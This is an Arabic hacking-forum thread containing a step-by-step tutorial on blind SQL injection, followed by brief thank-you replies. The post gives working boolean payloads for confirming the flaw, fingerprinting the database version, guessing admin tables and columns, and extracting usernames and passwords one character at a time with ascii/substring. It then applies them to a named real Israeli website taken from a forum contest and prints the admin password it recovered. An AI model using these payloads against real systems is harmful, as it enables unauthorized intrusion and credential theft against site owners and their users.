درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n


النتائج 1 إلى 5 من 5

الموضوع: درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

  1. #1

    افتراضي درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

    Blind sQL injecti0n
    الحقن المســـتــتر أو الأعمىأو الحقن بالتغطية هي تسميات لنوع واحد من الحقن و هي طريقة لترويضالاستعلام الموجود في التطبيق لخذ المعلومات من قواعد البيانات
    و هي تستخدم عبارات بوليانية B00lean (راح نشرحها)
    ليس مثل ال SQl العادي حيث يعتمد المهاجم في استغلاله على خطوتين:
    - تتبع رسائل الخطأ التي تظهر من الاستعلام
    - تطبيق استعلام مناسب لاستغلال تلك الأخطاء
    (كاستخراج الاصدار و عدد الأعمدة و منها المصاب و يكون كل ذلك من تتبعالأخطاء فاذا كان العمود المصاب هو رقم 2 فمنه راح نجد اصدار القاعدة وغيره)
    أما البليند فهو يعتمد على البوليان بمعنى على عبارة true أو false أي اما الاستعلام المطلوب موجود راح يعطيك true راح يظهر الصفحة أو العكس اذا كان false
    و من هذا المنطلق راح نبدا بالحقن على بركة الله:
    راح نأخذ عنوان افتراضي لتطبيق النظري عليه
    http://site.com/news.php?id=12
    و في التطبيقي راح ناخذ موقع اسرائيلي من مسابقة البليند الموجودة بمنتدانا و عنوانه راح تجدوه في الصور
    نجرب علامة ' و نشاهد ماذا يجري
    'http://site.com/news.php?id=12
    يمكن الاستغناء عن هذه المرحلة الا أني عادة بها اعرف من نوع الخطأ نوع الاستغلال هل هو بليند أو اسكويل عادي




    الآن نقوم بالتحقق من الخطأ و ذلك باضافة استعلام منطقي مقبول ألا و هو and 1=1 على النحو التالي كما يمكن استعمالor 1=1
    و لكن في بعض الأحيان تظهر مشاكل و ما تشتغل تمام لأن هنالك فرق ما بين العبارتين
    نجربand 1=1 على النحو التالي
    http://site.com/news.php?id=12 and 1=1
    كما نعلم ان 1=1 فقلنا له ان يستعلم على ذلك
    عبارة and 1=1 تختلف عن عبارة or 1=1 في أنها تتحقق من الاستعلامين في نفس الوقت
    استعلام الصفحة
    http://site.com/news.php?id=12
    و استعلام اذا كان 1=1 في نفس الوقت و الناتج راح يكون على ناتج تحقق من الاثنين
    بينما اذا استعملنا or 1=1 فراح يتحقق من أحد الاستعلامين فقط أي اما الول ان كان صحيح أو الثاني و بالتالي الناتج لن يكون الناتج المرجو
    لذا هنالك فرق بين and 1=1 و or 1=1
    نروح نطبق على الموقع






    رجعت الصفحة كما كانت
    الآن نجرب and 1=2 للتحقق أكثر
    و هذا معناه تحقق من العبارة و من أن 1=2 و هذا غير صحيح ان 1=2
    ويكون تطبيقه كالتالي
    http://site.com/news.php?id=12 and 1=2
    نروح لفأر التجارب و نشوف الناتج





    ظهر خطا اي ان الخطأ الذي ظهر لنا أولا هو خطأ موجود حقا
    الآن نشوف الاصدار
    و لذلك نضيف عبارة
    and substring(@@version,1,1)=4
    و نشوف اذا كان الاصدار الرابع أو الخامس و معناته (العبارة) تحقق من أن الاصدار هو (4,1,1) أو انه الاصدار الخامس
    http://site.com/news.php?id=12 and substring(@@version,1,1)=4
    نجرب على الفأر





    ظهر خطأ اذا نجرب اذا كان الاصدار الخامس





    ظهرت الصفحة بشكل عادي
    اذا الاصدار الخامس
    و هذه فائدة المقدمة و هنا يظهر البوليان معناه اما صحtrue و يكون ظهور للصفحة أو خطا false و ما يكون ظهور للصفحة
    الان نروح نجرب select و راح تساعدنا فياستخلاص كل المعلومات و لكن بعض المواقع واضعة حماية عليها اذا لا تشتغلمعانا لكن ما في مشكلة هنالك طرق اخرى كاستعمال subselect
    الآن نركز نحن فقط على select حتى لا نضيع لأنها كبداية
    و لتجريب اذا كانت شغالة نستعملها على النحو التالي
    http://site.com/news.php?id=12 and (select 1)=1





    ما شاء الله شغالة
    الآن يجب علينا تخمين جدول الأدمن و بالتالي بعدها استخراج الأعمدة
    و للتخمين الاخوة جزاهم الله خير وفروا لنا الوقت و حضروا لنا صفحة تساعدك في الحصول على ما تريد
    www.snakespc.com/SQL.html
    و راح اشرح لكم طريقة تخمين جدول الأدمن
    http://site.com/news.php?id=12
    نضيف لموقعنا العبارة التالية
    and (SELECT 1 from mysql.user limit 0,1)=1
    ليصبح الموقع بالشكل التالي
    http://site.com/news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1
    و العبارة معناها
    تحقق من استعلام أن 1 مأخوذ من الجدول mysql.user و استعملنا limit لحصر النتائج حيث نبدأمن 0 و ننتهي عند 1 و الكل هو مساوي لل 1
    و في هذه العبارة أخذنا كاسم جدول الأدمن mysql.user
    اذا كان اسم الجدول صحيح راح يعطينا الصفحة بشكل عادي و الا راح يظهر خطأ أو بالأحرى ما يظهر شئ (البوليان)
    نجرب على فار تجاربنا





    ما ظهر شئ نختار من صفحة التخمينات جدول آخر
    راح أختار users و أجرب عليه






    الحمد لله ظهرت الصفحة بشكل عادي
    الآن نأتي للأعمدة و لاستخراج ذلك نستعمل العبارة
    and (select substring(concat(1,username),1,1) from users limit 0,1)=1

    و معناها تحقق من التسلسل الداخلي اذا كان فيه عمود username من الجدول users و limit لحصر النتائج و concat للتحقق من التسلسل الذي بين القوسين بعدها

    ظهر كل شئ بشكل عادي
    الحمد لله
    الآن بنفس الطريقة نجرب مع الباس باستعمال password كتخمين مكان username


    الآن نستعمل العبارة التالية
    and (select substring(concat(1,concat(username,0x3a,password)) ,1,1)
    from users limit 0,1)=1
    و في هذه العبارة ما قمنا الا بشئ واحد ألا و هو جمع بين اليوزرنيم و الباس في العبارة التي قبلها بالتالي
    (concat(username,0x3a,password
    username تخمين لاسم الأدمن
    password تخمين للباس
    و الاثنين مأخوذين من صفحة التخمينات

    و قد اختصرت المراحل هنا حتى لا يطول الشرح اكثر و أكثر
    و نجرب على فار التجارب









    الحمد لله كل شئ تمام
    الآن المرحلة الأخيرة و هي استخراج يوزر و باس الأدمن
    نروح للباس حيث يتم استخراجه حرف بحرف و بنفس الطريقة يتم استخراج اليوزرنيم
    نأخذ عبارتنا
    and (select substring(concat(1,concat(username,0x3a,password)) ,1,1)
    from users limit 0,1)=1
    و نعدلها لتصبح على النحو التالي
    and ascii(substring((SELECT concat(password,0x3a,username) from users limit 0,1),1,1))=1
    و في آخر العبارة نمسح =1 و نضع بدل ذلك عبارة أكبر < و نختر أي رقم
    طبعا هنا معنى عبارتنا راح نحول النتائج لأرقام و نحصل عليها حرف بحرف
    password,0x3a,id و قد قدمنا passwordعلى username لأنه بنفس الطريقة يتم استخراجه
    لتصبح عبارتنا على النحو التالي و ناخذ 60 للتجريب فقط
    and ascii(substring((SELECT concat(password,0x3a,username) from users limit 0,1),1,1))>60
    اذا ظهرت الصفحة بشكل عادي فنضيف في الرقم حتى تختفي الصفحة
    نفرض أن الصفحة ظهرت بشكل عادي في الرقم 99 نقوم بتجريب 100 الصفحة اختفت هذا معناه أن الحرف الأول من الباس قيمته في ascii هي 99 و هو حرف c صغير
    طيب اسخرجنا الحرف الأول كيف العمل للثاني؟ أي الحرف الثاني من الباس
    سهل جدا نعوض في عبارتنا الرقم 1 بالرقم 2 و هكذا دواليك بالنسبة للحرف الثالث و الرابع ....الخ
    الآن كيف يمكنا معرفة اذا أتممنا اتخراج حروف الباس
    شئ بسيط مثلا استخرجنا الحرف الأول ثم الثاني ثم الثالث ثم الرابع (لا تنسو تدوين الكل لاستخراج الباس بشكله الحرفي)
    و وصلنا لغاية الحرف التاسع 9 من الباس و جربنا العدد 60 و ما ظهر شئ ثم أنقصنا و ما ظهر شئ حتى وصلنا للرقم 1 و ما ظهر شئ هذا معناه أن عدد حروف الباس 8 فقط
    بالنسبة لفأر التجارب هذا هو الباس
    http://www.etgarim.co.il/showArticle...00,1),1,1))>99
    99 =c

    كود:
    http://www.etgarim.co.il/showArticle...00,1),2,1))>71G=71

    كود: http://www.etgarim.co.il/showArticle...0,1),3,1))>108
    L=108
    كود: http://www.etgarim.co.il/showArticle...00,1),4,1))>73
    73=I
    كود: http://www.etgarim.co.il/showArticle...00,1),5,1))>5050=2

    كود: w.etgarim.co.il/showArticle.php?id=19%20and%20ascii(substring((SEL ECT%20concat(password,0x3a,id)%20from%20users%20li mit%200,1),6,1))>5757=9

    كود: http://www.etgarim.co.il/showArticle...00,1),7,1))>4848=0

    كود: http://www.etgarim.co.il/showArticle...00,1),8,1))>5656=8
    الباس هو 99 71 108 73 50 57 48 56
    يعني cGlI2908
    كيف قمنا بتحويل الأرقام التي حصلنا عليها الى حروف كلمة الباس
    باستعمال البرامج أو مواقع تقوم بذلك
    يمكن استعمال الجداول التالية لتحويلها هنا
    حيث لو نبحث على الرقم 99 نجده c في الجداول
    بينما راح أعطيكم برنامج coder هو معروف و سهل الاستعمال للحصول على text من ascii
    coder

    و في الختام استسمحكم على الاطالة
    و ارجو أن يكون الشرح واضح

    ان أحسنت فمن الله
    و ان أسات فمن نفسي و من الشيطان
    و العياذ بالله
    لا تنسونا بالدعاء

  2. #2

    افتراضي رد: درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

    افى كل هالموضوع وكل هالمجهود ولا في ردود بس لك مني كل الشكر

  3. #3

    افتراضي رد: درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

    مشكوررررررررر

  4. #4

    افتراضي رد: درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

    شكراااا لك...
    Hackers Avenger Dvae you now for good

    Special hackers SAID is now ready for revenge against the evil

  5. #5

    افتراضي رد: درس نظري تطبيقي لاستغلال ثغرات البليند Bl1nD inj3ct10n

    موضوع رائع

    مشكوور
    Twitter:
    @WaleedAlharbi0

    للأستفار عن أي مشكلة تخص الاجهزة آو المواقع راسلني

المواضيع المتشابهه

  1. مشاركات: 12
    آخر مشاركة: 01-29-2012, 01:01 AM
  2. ثغرات منتديات vb 3.6.8
    بواسطة BLACK.JaGuAr في المنتدى قسم الثغرات
    مشاركات: 39
    آخر مشاركة: 09-23-2010, 11:49 AM
  3. سد ثغرات وندوز xp
    بواسطة الحارقx في المنتدى منتدى الإختراق العام
    مشاركات: 4
    آخر مشاركة: 03-19-2010, 03:24 PM
  4. سد ثغرات المنتديات vb
    بواسطة الصخره في المنتدى قسم الثغرات
    مشاركات: 11
    آخر مشاركة: 03-19-2010, 12:09 AM
  5. أهم سؤال ف الهكر من وجهة نظري
    بواسطة KILLUAMK في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 4
    آخر مشاركة: 01-27-2010, 05:00 AM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •